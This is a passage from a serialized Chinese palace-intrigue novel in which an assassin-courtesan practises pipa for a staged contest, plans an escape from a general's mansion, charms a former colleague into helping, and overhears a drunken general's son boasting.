“我是会一点琵琶。”平日这时辰正是她小憩的时候,她强撑着精神谈事,阖着眼睛,“但不精。你需要我会到何种地步?” “须得超过我。”公孙红艳丽的红指甲衬得瓷盏白得刺眼。 南琼霜在榻上安心合了眼:“那你别想了。” “起来,干活。”公孙红眼也没抬,她是艳丽姝媚的长相,捏着茶盖的时候,习惯翘兰花指,整个人如一朵冶艳的芍药,“我把那头的事先跟你说说。” “那日,常达喝了点酒,兴致上来,从府外唤了六个乐伎,加上我,共七人,进他的房间跳舞弹琵琶。谁知他喝着喝着就醉了。我早打探到他的密函,一向放在他房间中的铁匣子内,便趁 着跳舞之机,偷偷将匣子换了地方。” “等到七个人曲子弹罢,常达醉酒未醒,我们七个便悄悄摸摸退了下去——那个猪头三醉酒后会发疯杀人的。我悄悄带着铁匣子出去,拿了信函,却转身撞见常达府上养的一个老头子。” 南琼霜睁开眼:“老头子?” “老头子。”公孙红颔首,“常达府上养了许多能人异士,各有奇处。这个老头子,眼睛瞎了,但因着眼睛瞎了,耳朵灵敏异常,连两只苍蝇飞的声音,都能辨出分别来。” “那日,我们七个,衣裳上饰了些金链子金片子。许是叮叮当当的被他听见了,后来他便对查此事的常平说,拿了密函的人是七人中的一个。” “那也不过是七分之一。”南琼霜拄着太阳穴,“如何就能说是你。” “我本也这么想。可是谁知,那个老头子,不知又叫他听着了什么,说我撬锁开铁匣子的手法,若会弹琵琶,必是洛京第一好手!”公孙红怒得一跺脚,“简直莫名其妙!” 南琼霜皱着眉毛听着。 “若如此,常达把这几个乐伎,加上你,召起来,一通拷打,不就完了。何必费什么麻烦。” “什么呀。”公孙红把她搁在榻上的纨扇捏在手里,悠悠而自矜地扇,“姑娘我在府上这许多日子,定亲王便是想动我,也得问问他自己的心,答不答应呀。” 南琼霜嫌厌翻了个身,懒得跟她再聊下去。 “并且,烟花柳巷本就鱼龙混杂,今日在这里做乐伎,没准明儿就死了。当日六个乐伎,再去找,只找见了四个。”公孙红道,“常达本就怀疑那六个乐伎中混入了居心叵测之人,这下,疑心更重了。所以,我便对他说,设局将那窃贼引出来,引出来,再慢慢审。” 南琼霜略微一笑,她总算懂为何公孙红非要她学琵琶了。 “你该不会要常达贴了告示,在定王府内比拼琴艺吧。”她笑。 公孙红十分欣慰于她的一点即透,拎着扇子朝她点了半晌:“没错,我劝常达放出消息,说那密函是假的,又央常达在定王府内办了一场琵琶大会,力寻洛京之中琵琶圣手。如此,那窃贼若要重新下手,必定借此机会入府。届时,谁是状元,谁便是窃密函之贼。” 真是烂主意。 南琼霜长嗤一声,翻了个白眼。 “那么,我去你那,纯粹是给你顶罪。”她懒怠掀起眼帘,“我怎么跑?” “你别担心。”公孙红含笑抱起了她那宝贝不已的九宝琵琶,慢悠悠拨了几个音,“逃跑,我回头有好法子给你。我们今日,先学琵琶。” * 公孙红是琴痴,得了琵琶,就抱着不撒手。 南琼霜素来对琴啊乐啊唯有一点叶公好龙的喜爱,听听看看可以,若要自己学,学个一个时辰便头晕耳鸣浑身不适。这些年,为着办差杀人,她只略微习过两首曲子。 可是这点临时抱佛脚的琴艺,在公孙红耳朵里,无异于铁锯锯木,指甲挠门。 最初,公孙红抱着体贴之心与包容之意关怀她的力不从心。后来,为了维护她在洛京琵琶圈子的名誉和声望,她比南琼霜本人还要废寝忘食。 “往后你出去,一碰琵琶,人家都要问你,从谁学的。”公孙红笑盈盈咬牙,“这种东西,冠上我公孙红的名号,老娘一生清誉毁于一旦。回去练琴!” 南琼霜力有不逮,唯有涕流。 当日,公孙红越教越奋不顾身,直到宫门即将下钥,清涟和远香几次三番好言好语相请,方才恋恋不舍地一步三回头走了。 “今晚练琴!明日我查验!”公孙红走三步退两步,双目充血,“若你明日并无进步!我赏你戒尺吃!” 公孙红终于走了。 南琼霜哀叹一声,瘫倒在桌上趴着。 “娘娘……”远香忧心忡忡地端了晚膳上来,一并摆上瓜果点心。 她有气无力,挥手叫她下去。 趴在桌上歇了半晌,她耳畔那些嗡嗡作响终于退去,人累得只剩半条命,靠在椅子里剥瓜子。 指甲将花白的瓜子壳撬开,忽然指甲也跟着一软,劈了。 她兀然一怔。 那个人复又涌上心头。 “顾某不会再纠缠。隔着天山,顾某本也不该再纠缠了。” 她长叹一声,头搁在椅背上,用手腕挡住眼睛。 或许她永远失去了什么东西,或许那东西很重要。 或许她知道她有错,或许她知道她做错了。 但她就是,不敢选,也不敢信。 别做梦吧。在失去一切之前放弃一切,好过坦诚交代后,被人放弃。 她木木地把那瓜子仁放进口里,始料未及地被瓜子的尖端扎破了舌尖。 却忽然看见,远香方才拿上来的,不止晚膳和瓜果。 还有一张叠得齐齐整整的纸条。 她思忖良久,最终还是带着点虚张声势的不耐神情,拿过来,打开看了。 一看,心里咯噔一下。 是墨写的两个大字,墨蘸得饱、顿挫有力,潦倒、匆促、强装体面。 两颗红红的、深深的圆点,大得仿佛葵花,缀在两个字底下,晕开。 那么大,不是眼泪,是他的血。 两个字:“乖乖。” 她惊疑不定地瘫在椅子里。 第145章 她最终还是没有回复那张字条。 顾怀瑾再也没来找过她。 最初,她面上不显,心里却还有点的可耻的期待,以为这么久以来,他从未真的肯放手,即便嘴上说着要放,最终还是会来找她。 可是,一连许多天,他真的不再来了。 他甚至鲜少进宫。 即便是奉诏进宫,伴在嘉庆帝身侧,也是能不与她照面,就不与她照面。 她从未想过他会这样,甚至在那天以前,她从未想过他会因天山和李玄白以外的事冷落她。 可是,如今,他见了她,跟没见到一样。 比当年天山脚下初见,还更冷漠些。 她知道一切是她自找。 也知道,她的痛苦不正确,她做的事正确。 所以,她逼着自己找事做。像此前她应对人生里所有痛苦一样,轻轻拿起、轻轻放下,让痛苦自然地流经她。 同样的痛,一个人既可以难以自拔,也可以轻轻过、轻轻放。 她用琵琶填满自己。 刚巧,公孙红对她的琴艺一百八十个不满意,她遂顺理成章,日夜不停地勤练,练得没出几日,指腹就破了皮,斑驳得仿佛受潮起皮的墙,好了又破,破了又好,不知不觉,起了茧子。 忙起来,她有事做,就无暇犯蠢了。 公孙红日日抱着琵琶进宫,盯着她练琴。一曲《昭君出塞》,花了十天半个月死磕,每天从早练到晚,练到十个指腹都破皮出血,夜里洗面时都火辣辣的疼,她仍不肯放。 她好似一向习惯痛,不痛,反而不安。 她原本便有底子,又这样苦练,且苦练那唯一的一首,不久,琴艺便有所进步,连公孙红那样一向在琵琶上倨傲又挑剔的人,也不得不撇着嘴感叹“咱们极乐堂真没孬种”。 “这算学会了么?”她在看弦的间隙里抬眼看她。 “不算。” 南琼霜心烦意乱地按着弦。 “到底要练到什么地步。” “需得超过我。” “我说过,你别想了。” 公孙红噗一声把瓜子皮吐到面前的瓷盘里,“你先练吧。反正,日子尚久,练到什么地步,算什么地步。” 她耐着性子道,“既然我弹不好,你便也弹得差些。两厢衬托,我才赢得过你。” “叫我弹得差些?!”公孙红柳眉倒竖,一派受了辱的模样,“我倒也得有本事弹得差!” 南琼霜翻个恶狠狠的白眼,懒得理会,手上紧着拨弦。 “对了,有一物要给你。”她自袖中掏出一枚 圆滚滚的棕黄丸子,托在掌中。 “马粪?”她瞥了一眼。 “我呸!”公孙红手里瓜子皮往盘里一掷,咬牙切齿,“臭嘴!人家好心好意给你拿过来的!” “到底是何物。” “凤鸣丸的解药。”公孙红继续嗑瓜子,“我就说见你第一面,你那嗓子我怎么听怎么不舒服,回府一打听,原是叫常达逼着吃了凤鸣丸。” 她默然不语,继续拨着弦。 她这嗓子,这么久以来她已经习惯,加之时日久了,药效渐消,又在四象塔上狠狠叫过—— 她噔的拨错了一根弦。 “弹什么呢?弹什么呢?怎么弹的?”公孙红手里戒尺在桌上拍得啪啪的,“重头来!” 她心浮气躁地从头开始。 “说到常达。”她一面垂眸看着弦,一面望她,“常太妃的事,常达如何打算?” “在想法子呢,四处找人。” “找谁?” “我不知道。”公孙红垂眼拣了块桂花糕放进嘴里,“这等机密之事,那猪头三谨慎得紧呢,谁也不说。” 攻心刺客,要的就是那些不肯对旁人说的情报,若是打听不来这些,还能干点什么。 南琼霜带点讽嘲之意,朝她挑挑眉毛,一哂。 “笑什么笑。常达府上可是乱了套了!你不知道,他们父子三个,两个都是色魔,裤裆里那点物件片刻也离不了女人,脑子里的东西,防女人跟防他爹似的!” “我听说你在定王府上并不顺利。”她望她一眼,“你要小心些。” “还成吧,不过一群男人。”公孙红抿着桂花糕,碎屑在口脂上沾得凌乱,她将那点粉屑舔进口里,“你知道的,我们这群人,哪有把男人当人的,全是玩物。” 南琼霜望着地上的菱形石砖,出神弯着唇笑了一瞬,没说话。 “即便府内新入了些女人,也无大碍。若说手段,谁比得过我们极乐堂。” “你拿人家当玩物,小心将自己玩进去。”她没想到自己有点语重心长。 公孙红凉凉笑了一声。 “你也是见过常达常忠的。你会爱上这两个猪头三?” 她无言,指上又拨了几个音。 “遇上猪头三,反而是命好。” 公孙红不明白她究竟在跟她打什么机锋。 南琼霜无意解释。 “你从哪听说我在府上境遇不顺的。”公孙红叼着块糕,嘴唇鲜红糕点杏黄,斜着眼睨她,“啊,我知道了。仑烛。” 仑烛是公孙红的教引。 公孙红冷冷笑了一声,“四处造谣,这帮太监。” 南琼霜噗嗤一声笑了:“太监?” “你知不知道他们管我们叫刺客里的妓女?”她懒洋洋将口里的糕咬下来,捏在指间,“一帮美人儿在侧也硬不起来的家伙。还比不上你宫里这群太监呢,至少人家不行,是因为东西没了。” 南琼霜笑个不停,公孙红按着耳朵道,“你看,你看,这太监正在我耳朵里叫唤呢。我说错了半点儿?” “老娘是妓女她爹!婊子指望着恩客过活呢,我们不指望!”公孙红拍着桌子跟仑烛隔空对吵,“婊子没男人不行,男人没老娘不行,老娘没谁都行!你可给老娘搞清楚了!落在老娘手里,没死是老娘放他一马,死了也算赏他面子!” “行行行,你小点声。”南琼霜笑得舒畅,一时不察拨了一把乱音,“外头有人听着呢,别吵。” “找死,这帮没根的东西。” 她笑得说不出来话了。 “行了,今日先练到此处吧。天也黑了,过会儿该下钥了。”公孙红将膝上软垫放到一旁,起身告辞,“今儿我先走了。你好好练啊!” 她坐在罗汉床上朝公孙红摆手,仍然笑得坐不起身,强道,“清涟,远香,送客。” 公孙红走了。 殿门一关,她才发觉外头已然暮色四合,傍晚的天空是黯淡的蓝,隔着窗绡,颜色分外沉些,宫灯点上了,在红绸灯笼罩子里一跃一跃。 她静静倚在身后的禾绿软垫上,将怀里的琵琶放到一旁,长叹一口气,缓慢搂住了自己。 宫里静得连烛火跳动的声音都听得见。 煌煌灯火里,她阖着的双睫,虫翼般抖动良久。 慢慢的,洇出一点晶莹的泪。 她怕是把自己在爱里困住了。 顾怀瑾确是个值得倾心的人。 那也不代表她要为了他,患得患失,妄自菲薄。 她有更重要的事要做,更远的地方要去,更多没见过的、没体会的,要去见、去体会。 倘若这条路上,刚好可以有他顾怀瑾,那就有。 如果不能,那就没有。 反正…… 只要她还是她自己,那么,南琼霜没谁都行。 南琼霜没谁都行。 * 之后的日子,公孙红日日来,两人日日练琴,日日闲话,彼此陪伴,倒也不寂寞。 她们两个,虽说在极乐堂内是同僚,但往生门内何曾有过交友之说,再熟识,彼此也称不上什么。 倒是这两日,渐渐有些熟络。 每日公孙红一来,菡萏宫的宫门白日里便紧锁,谁来求见也不开,唯有附近能听得些断断续续的琵琶声。 渐渐的,阖宫都知紫禁城内最受宠的珍妃娘娘,闭门不见人,日夜痴迷琵琶,不分白天黑夜地弹,连摄政王传话来想见面一叙,都被她借故挡了回去。 菡萏宫外,据说,顾怀瑾日日去景仁宫中问诊。 毛琳妍的病渐渐好了,人又有了娇艳模样,时时去紫宸殿中陪伴。 嘉庆帝感念她当日笑乐园内奋不顾身为他求情,待她格外好,进贡的缎子宝石首饰也紧着景仁宫挑,景仁宫挑完了,才交给御用监分给各宫。 眼看着,是又回了荣宠巅峰。 此消彼长,景仁宫起势,便是她菡萏宫失势。她早已是毛琳妍眼中钉,这样下去,景仁宫的矛头,早晚要对准她。 这个道理,南琼霜不是不懂。只是这一头分身乏术,过些日子她还要出宫办差,眼下巴不得菡萏宫无人来,也就这样任由下去。 顾怀瑾再不来见她了,连张字条也没有。 她最初尚有些落寞,忙久了,也就想不起来了。 琵琶大会的日子渐渐临近。那一曲《昭君出塞》她已弹得滚瓜烂熟,虽说在公孙红耳朵里,仍得了“呕哑嘲哳”四字,但到底不至相差过于悬殊,只要公孙红肯屈尊低就,“洛京第一琵琶手”之称,她也不算靠不上边。 曲子练得熟了些,两人就开始日日在宫中商讨当日的细节。 商讨来商讨去,发觉其余事项倒还好说,只是逃跑这一条,十分难办。 常达府上蓄着一支锐不可当的精兵,名为福余三卫。据说,个个以一当十,是纯血的女真精兵,乃是常达花重金自北 疆雇佣而来。 当日,她帮公孙红顶了罪后脱身,逃跑时,追杀她的定是这帮猛兽一般的女真人。 她是极乐堂出身,原本就不精于武功,要从这些人手底下逃跑,务必精心设计好路线。 要摸出最好的线路,上上之策,是实地勘察。 两人于是定了日子,到定王府上见面。 临去定王府上之前,南琼霜思虑再三,到底怕嘉庆帝一个回马枪杀入她菡萏宫,杀得她措手不及,决定同大明宫打个招呼。 李玄白坐在案几对面,忙着批折子,分不出神抬头看她,口里道,“我不管,你爱去便去。左右那疯子若抽风,我帮你兜着便是了。唯有一条,”他举起蘸着朱砂的毛笔指着她,“可别到外面给老子惹事。” 南琼霜耸耸肩。 帮人顶罪之后脱身,算惹事吗? “不准拿着我给你的令牌招摇,不准拿着你皇妃的头衔闲逛。凡事低调,别给我惹麻烦。”李玄白将折子展开,“还有,事事小心。没了。” 她求人便格外懂得卖乖,歪了下头,“谢过表兄。” “另外一件事,我得提醒你。”他又道,“早些回来。那个疯子不知什么时候就会召见你。” 她揪着李玄白面前的葡萄,“皇上最近不是宠爱毛琳妍吗?” 李玄白看她一眼:“毛琳妍压得了他的疯症吗?” 其实,整个紫禁城,都拿嘉庆帝的头风和疯症没办法。得了无量山的麒麟草,确乎安生了些日子,可是何时再发作,谁说得准呢。 她也并非“压住了”嘉庆帝的疯症。 她只是胆子比旁人大些,敢给他下药。 她嚼着葡萄道,“顾怀瑾在,又何须我。” 李玄白忽然抬眼,似乎很诧异,“你不知道?” 她愣住了。 “我不知道什么?” “哦,他。”李玄白拿笔蘸了蘸砚台里的朱砂,漫不经心,“前些日子,功法反噬得厉害,天天吐血呢,进不了宫了。” 第146章 琵琶大会的日子,定在七月初七。 去常达府上踩点的日子,定在大会三日前。 七月初四,南琼霜打听来嘉庆帝召了毛琳妍去笑乐园内玩牌,将清涟远香两个留在宫中,命她们在宫中叮叮当当地弹琵琶,自己独自去了常达府上。 定王府并不容易进。刚巧,嘉庆帝曾允诺给常达父子三人拨十二个美女,七月初四正是那批美人进府的日子。 南琼霜提前找人疏通了关系,混入了这一行美人之间。 公孙红早得了消息,特意从常达手里要来了交接这些美女的差事。于是等她入了定王府,见到的第一个人,便是装模作样拿腔作态的公孙红。 公孙红在定王府上的模样,与入紫禁城的模样大有不同。在常达府上,穿得也鲜艳,鬓发也慵散,一支金凤步摇插在云鬟之间,凤嘴底下衔了一颗皎白的珍珠,一搭眼瞧过去,便知在府上过得滋润。 南琼霜与她对视一眼,略微垂眸一哂。 公孙红心知肚明,将唇角那点笑嘻嘻硬板下去,从队列最前头缓缓走来。 “生得好的,身条儿软的,嗓子甜的,去伺候常二将军。” “懂事儿的,嘴巴严的,眼睛不随处乱飘的,去伺候定王殿下。” “至于常少将军——没有。” “你呢,”她笑吟吟踱了过来,手中拿着一柄玉如意,点上点下地查验她的身条,被她半垂着眼帘睨视一瞬,“生得差,条儿太瘦,性子太冷,弹琵琶仿佛抓背,——还是跟我吧。” 其余美女各自领了命散了,南琼霜懒得理会她这副贱兮兮的模样,抬起眼来缓步往前走。 “皇上赏的美女,怎么常忠没有?” “不跟你说了么,上回笑乐园那档子事,回来,让他爹兜头一顿臭骂。”公孙红道,“说是,逼谏摄政王不说,还逼谏未成,失了气势,丢人现眼。” “眼看着美女入府,那涎脸□□半个手指头都碰不得,他竟然肯?” “他不肯,但他不肯又如何?”公孙红无所谓耸耸肩,“惹了他老子。他老子一句话,他得在地上跪三天,还女人呢。” 南琼霜想起常忠那一副见了女人骨头都酥了的模样,心里有点好笑。 “跟我来吧,我带你见见大会当日的厅堂。” 常达的定王府极尽豪奢,王府之内,处处仿照嘉庆帝的皇宫落成,便是她在紫禁城中住惯了,乍入定王府,仍是觉得眼花缭乱。 “常达这厮……我就不说了,你自己瞧瞧吧。”公孙红领着她一路往府中深入,“九进院落,琉璃绿瓦顶,头顶是海墁天花。金丝楠木做梁柱,金砖地,内置铜管,冬日可烧炭取暖。藏宝楼、大戏楼,还有前面那座花楼,眼不眼熟?” 南琼霜闻言望去。 蓝天底下,一座飞檐阁楼,静静落在园林中。 她一看便明了。 完完全全照搬了紫禁城揽月楼。 这座王府,岂是“奢”之一字足以涵括。 处处僭越礼制,欲与皇城相匹。 常达造反,早晚的事。 南琼霜提了一口气积在肺腑内,有些气郁。 往生门的差事,叫她身不由己卷入了风云最中心。此次办差过后,她又会身在何处。 还会有命从紫禁城中出来吗。 “我们去金丝楠木殿。”公孙红全然不知她在思量些什么,领着她绕过假山与垂花门,一路行过聚宝池和争妍园,径直往内走,到得一处楼内,跨过门槛。 甫一入了楼,扑面便一股木材香气。满眼金碧辉煌,八角华灯自天花板高高悬挂下来,朱红流苏垂得仿佛上头挂了一片红色的棚。满楼的玻璃灯琉璃灯,处处雕花漆画,宝瓶金砖,八根金丝楠木巨柱撑起整座楼阁,木纹如山水金丝,日光一照,仿佛金河。 南琼霜看得几乎屏息。 “那个猪头,格外好面儿,要开府款待宾客,必是拿出最天上少有地上无的东西,出来显摆。”公孙红笑盈盈将人往里领,“所以呢,当日琵琶大会,就定在这座殿内。” 区区一个王爵——纵然冠着“王”字,依旧是个爵位——可是,竟堂而皇之地将自己园林中的一座,命名为“殿”。 眼下,殿内木工侍仆进进出出,大殿中间一个即将修竣的高台,奴才们踩着细高的木梯在高台四周垂挂灯笼彩带,各司其职。 “当日,众人在这台上比拼,台下全是宾客。定王会在二楼的雅室内待客观赛。”公孙红一面走一面道,“大会是打擂比拼。你就只会弹那一支曲子,你别比了,我在台上先守擂。等到无人再上台,你便上来,挑战我。” “我会给你放点汪洋大海,免得你担不起‘洛京第一琵琶手’的名号,我俩一番苦心付诸东流。” “待到尾声,谁胜谁负,台下众人心中有数,这时,我会向你发难。” 南琼霜狐疑朝她看去。 “你会武功的事,要叫常达知道?” 公孙红捏着扇子按在心口上,叹了口气,“府上女人太多啦。那两个猪头色胆包天,进女人仿佛商贾进货,我不露两手,怎么叫这两人高看我?” “定王本就提防你。” “猪头缺可用之人。”公孙红懒散摇着纨扇,“前些日子,他用惯的一个亲卫没了。我在他身边时日已久,并且,理由我也给自己找好了。”她一只眼眨起一瞬,朝她笑,“门内给我编排了新身份,专用来向他解释,百密无一疏。” 南琼霜一时无言。 人若想信什么,不该信,也会信。常达若急用人,确实可能会信她。 “我出手后,你将我挡下。你我过个两三招,常达必然命福余三卫暴起抓你。那帮女真人一出动,我便朝你肩颈斜刺一剑,你旋身躲开,借势踏着二楼栏杆蹬出窗外。” “窗外是长安街,往东是皇宫,往西是市集,往南是乌衣巷,往北是仙女湖。仙女湖上游人甚多,我会备好舟船,命人在湖上候你。等到上了船,你便更衣熄灯,将大会上的衣裳沉入水中,假扮游人。等到搜查收尾,你便立即回宫。” “说的倒是容易。”南琼霜耸肩嗤笑一声,“一大队女真人追我,我跑得快还是那帮女真人跑得快?那伙人性似豺狼。” “知道你比之那古稀老妇跑快不了多少。”公孙红白她一眼,“不消你亲自跑,替你找了个高人。” “高人?” “不止这位高人,还有后手给你留着哪。”公孙红神秘兮兮含着下巴笑望她,“还记得苍牙吗?” 南琼霜略一怔忪,眼眸里倏地泛起一点亮光,又赶忙将那些喜色按捺下去。 “是从前七杀堂内的那个?” “正是。”公孙红缓摇着纨扇,绕着她踱步,绯色衣摆在地上摊开,“如今人家不叫这个名儿了,有了姓氏,唤作李崖。几年前他做够了数,赎了身,在这定王府内当厨子呢。” 她手中纨扇在她 锁骨上点着,眨眨眼,“李崖好说话。你若有本事,求他在厨房之内做点手脚,来个围魏救赵。” 南琼霜等的就是此人,装着略一思量道,“他在哪?” 公孙红嫣然一笑:“我带你去。” 此时已过了饭时,厨房内忙碌已歇,暂还未到为下一餐备菜之时,厨子们午睡的午睡,喝酒的喝酒。 日头正盛,晒得地面暖烘烘的。公孙红手在眉眼前支了个小棚,指间拈着帕子,一路径直朝厨房内走来。 院中厨子们三三两两聚在一处乘凉,见来人乃是定王身边几已要飞上枝头做侧室的曲欢姑娘,忙不迭起身问好。 公孙红瞧都懒得瞧一眼,挥了挥帕子算应声。 厨房内,李崖正拿着抹布擦拭桌台,见了来人,紧着弓腰道:“见过曲欢姑娘。” 公孙红含笑抱着肩膀,上下睨他。 那种眼神,李崖一看,心中便有数。 公孙红轻道:“跟我来。” 绕过院墙,到得一方无人处,便见结了绿果子的李子树下,站了一个窈窕婀娜的人。 阴凉底下,那人回过头来。 李崖轻轻屏住了呼吸。 下一瞬,便了然。 南琼霜见他眼神倏地转变,自然也知这人明白什么。极乐堂中人,个个容貌出众,为免祸起萧墙,她们同男人打牌时都须得戴上帷帽。如今蓦然露出脸来,引人注目,傻子也知道她奉于极乐堂。 南琼霜开口:“极乐堂,南琼霜。” 李崖亦颔首,只是初见如此容貌之人,心中除了惊艳,竟是畏惧,一时未敢说话。 南琼霜倒是从容自在,开门见山:“敢问仁兄从前是在七杀堂中侍奉?” 李崖忙不迭开口,同她对视一眼,顷刻低眉:“啊,是。” “叨扰仁兄了。几日后,我同公孙姑娘要在府中办事,不知能否得您相助?” 李崖垂着眼盯自己鞋尖,盯了许久,嗫嚅着,拿不定主意。 往生门的差事,俱是险而又险,他好不容易从往生门中脱了身,在定王府中扎下根来,万不想再卷入什么作奸犯科之事中。 “我……姑娘。”他抬起眼瞟了一瞬。 南琼霜一双月湖般的眸子,含着雪光,一眨不眨,一瞬不错地凝望他。 蝶翼般的美丽的长睫,在眼底投下点脆弱的影。 他整个人仿佛被雷从中劈开。 她眼神那样认真,仿佛眼里除他以外,再无旁物。 他几乎招架不住。 貌如嫦娥,质若冰雪。什么都没做,什么都成了。 这就是……极乐堂中人。 李崖惶惶退开半步。 南琼霜见他这神色,便知他为何后退——不敢同她讲话的男人多了。 她倏尔换了副柔和神色,和颜悦色同他笑,“自然,阁下赎身不易,我们也不想叫您为难。您能帮就帮,帮不了,我们也并不会多言。只是……” 她含着笑贴近了一步,手缓缓地,在他手腕上,一搭。 李崖骤然觉得心脏急跳,几乎要撞破了胸腔冲出来,更加不敢抬眼对视。 “……只是,倘若您肯帮。”她轻轻吐字,带点讨巧的尾音,“我同公孙姑娘,都要感激您呀。” 李崖满头大汗,一低头,惊见自己足上的草鞋露出半截脚趾,平时不觉怎样,眼下却羞耻至极,紧着将脚趾退出来,“姑娘……” “呀,您这儿是怎么了。” 他未及去看她所指是何处,骤然感觉她温软的指腹贴在自己汗涔涔的颈子上。 一阵明昧不定的暗香。 他差点跪下去。 “是伤吗?”她置身事外地歪着头问。 “不不不不是,胎,胎胎,胎记。” 南琼霜了悟,捻着帕子在下巴上点着。 他脖子上那一块黑迹,她还以为是往生门放人前,做下的手脚。 其实,往生门门风残酷,她也确实疑心他们是否真的肯放人。 也曾怀疑过,他们是否明面上将人放了,背地里用蛊虫或傀儡术之类,暗地操纵人心智。 可是李崖,看起来,倒算正常。 倘若是被邪术操纵之人,当呆滞木讷,问也答不了两句。可是这人,瞧着没有傻样,还知道明哲保身,见了她,还有闲心紧张。 她含着笑,心里思绪万千,一双秋水眸子,定定朝他深情望着,不再多言。 李崖一句话也挤不出来了。 没多久,他整个人赤红,汗流得脸上水亮亮的,太阳穴青筋蠕动,支支吾吾道: “成,成。小的就为二位姑娘尽绵薄之力。” 南琼霜弯着眼睛笑了: “那真要多谢您哪。” 第147章 公孙红自从将她领去见了李崖,便消失不见,许是去忙自己那一摊子事去了。 南琼霜为了等公孙红那个卖着关子的“高人”,一直在定王府上留到深夜。 月上柳梢头,定王府内灯逐渐熄了。金碧辉映的园林蒙上夜色,趾高气昂的贵人和井然有序的奴才们一齐陷入凝夜紫色的沉睡。唯有公孙红的寮舍内,幽幽点着一盏灯。 南琼霜已经在公孙红房内等她多时了。 夜渐渐深了,她已经离宫整整一天,菡萏宫中没有她本尊,她总是不安,拄在桌上扶住了头。 雾刀的声音忽然自寂静中化出来:“南琼霜。” 她抬起头:“怎么。” “公孙红托仑烛给你传信,叫你去碧波池旁的醉仙亭中一叙。” 深夜,定王府只在路旁点了一行灯。灯火之外,俱是森森的黑暗。 雾刀在她耳朵里替她引路,她用面纱蒙上脸孔,有意避开亮处,一人在角落中踽踽独行。 醉仙亭不在灯火繁盛之处。公孙红挑这个亭子,想来是费了心思的。一路上,巡夜的侍卫极少,路过的奴才更是寥寥无几,她一路走,并没遇上什么人,心中稍安。 不远处,隐约有水波声传来。 她顿下脚步,凝神细听。 似乎不止是潺潺水声。 间杂着细微人声,大笑、拍桌、胡吹、碰杯之音。 她心中一惊,将挂在耳上的面纱再掖得紧了些,闪身躲入灌木的影里。 一面用传音入密唤:“雾刀,前面是谁?” 雾刀:“常忠跟他兄弟。” “他兄弟?” “一个唤作徐卫的,在常忠手底下做事。” 她眼睛眨了两下,仔细分辨黑夜里的人声。 “他们两个在醉仙亭内?” “并非是醉仙亭内,醉仙亭离这还远着呢。你轻点,麻利点,从旁绕过去便是了,那俩人都醉了。” 常忠喝醉了? 男人一旦喝醉,即便是系紧了脖子的吊死鬼,嘴里也能吐出点东西来。她行刺多年,不知多少消息是从酒 盅里套出来的。 “两个人都醉了?” “我瞧着,一个醉得深点,一个浅点。姑奶奶,您要干嘛?” “谁深谁浅?” “常忠深,徐卫浅。我的姑奶奶,你琢磨什么幺蛾子呢?” “我去听听。”她当机立断改了方向,自灌木之中向两人方向潜伏过去,“你替我放哨。” 雾刀自从被她拿捏了大把柄,凡事都不敢再忤逆她,听话得跟条哈巴狗一般:“好嘞,好嘞。” 她猫着身子,敛住衣摆,悄无声息地自树丛枝叶之间蹚过去。 大老远的便一股酸臭的酒味。 彼此重叠遮掩的枝叶外,常忠徐卫两个俱喝得满脸通红,彼此拍着桌子叫嚣海吹,一面吹嘘,一面碰杯,偶尔相对着打酒嗝,牛叫一般。 她隔着面纱,还是用衣袖捂住了口鼻。 “要我说,我爹也太……他娘的偏心。我他妈替我姑说话,哎,只因那是我老子的妹妹,是你自个儿的妹妹!结果怎么着!替我姑说话,倒还成了错儿了!这他妈皇上赐给我爷仨的美女,送到府上了,我连个影儿都没见着!莫非我是狗娘生的?!” “我的将军啊,你这话可不能这么说。大将军是想磨练你,看重你,才罚你。他待你严苛,是为日后将福余三卫传于你啊。”徐卫倾身压在石桌上,语重心长一句句劝,“少将军,您万勿怨恨定王。” “福余三卫?福余三卫,我他妈还敢想吗?!”常忠手中竹箸啪一声拍在桌面上,差点将桌上的花生米震翻,“不都得背着我给那小子啊?女人也是,钱也是,兵权也是,我同你讲,若长子并非老子,而是那小子,封爵不给铁券,那老东西绝不会准!” “少将军,您莫高声!”徐卫越听越怕,他喝得少些,总归比他清醒,慌忙四面环顾,“当心隔墙有耳!” “怕什么,深更半夜。”常忠拍着肚腹笑起来,又打了个恶臭的酒嗝,“今儿晚上啊,他俩房中,不得消停!皇上赐的美女送来了,他爷俩儿哪有闲心在外逛啊!一会儿尿都撒不出来了!” 言毕,一阵捧腹大笑,对面徐卫听得简直遍体生寒,拱着拳求他住口。 “要我说,那些娘们儿,都……都不成。”常忠喝得鼻头通红,迷蒙着小眼睛拿筷子敲碗,“这些年来,我瞧着漂亮的小娘们儿,就……就俩。一个呢,是我爹房里的曲欢。再一个,就是那宫里头的……珍妃。艹,改日老子当皇上,一怀里抱俩,今儿搞这个,明儿艹那个!” 又一阵狂放大笑。 南琼霜骤然被人点了名讳,生出些荒诞之感。 “我的好将军!”徐卫仓惶站起身捂住他的嘴,“这话岂是能乱说的!将军喝醉了,可莫要在外吹风了,快回房歇息吧。” “我没醉,我醉什么……我没醉!”口里逞强,声音却愈来愈微弱,末了咚一声栽倒在石桌面上,没声息了。 徐卫站直身子,浑身冷汗直冒,在夜风里吹了个透彻寒凉。 缓了许久,他终于叹息一声,收拾了桌上酒盏碗筷,搀扶着人事不省的常忠,栽栽歪歪地将他拖出桌椅,循着石桌旁小径走了。 她被树丛枝叶层叠遮掩的视野里,只余一张杯盘狼藉的石桌。 待到两人确已走远,南琼霜站起身。 常忠果然与她所想无异,色而贪。 色且贪之人,极宜利用。 不过,那个徐卫,似乎也有些问题。 南琼霜在泛着酒气酸味的风里泠然站着,风将她长发扬起些许,她眼眸里一片含霜映雪般的冷静。 他将常忠自灌木前边拖走时,有一样东西,她看得清清楚楚。 他别在腰间的,佩刀。 那佩刀的刀鞘,镶金嵌玉,镂花雕画,富贵奢侈,哪里是他这个品级的军士,用得起的。 可惜,夜色太深,那鞘上的纹饰,她未及看清。 她捋了捋鬓间碎发,叹了口气。 “雾刀,去醉仙亭。” 醉仙亭正在碧波湖畔。是时,银月如刀,高挂中天,夜幕一片青冥蓝色,清辉自上头迢迢洒落,拢在湖水上,映得湖面一片粼粼碎闪。 醉仙亭的剪影在夜里格外漆黑。亭中一个长发女子,发间一支金凤步摇,独自坐在石桌旁斟茶自酌。 身侧,一个高挑清隽、修长挺拔的身影,背对着她,面朝着湖水抱臂站着。逆着潋滟月色,瞧不清楚细节,只见得宽肩窄腰、腰细腿长,两条长腿,微微岔开,整个人如竹如松。 南琼霜步子立时一顿,不敢置信地眨眨眼睛,方才走近。 “我来迟了。”她道。 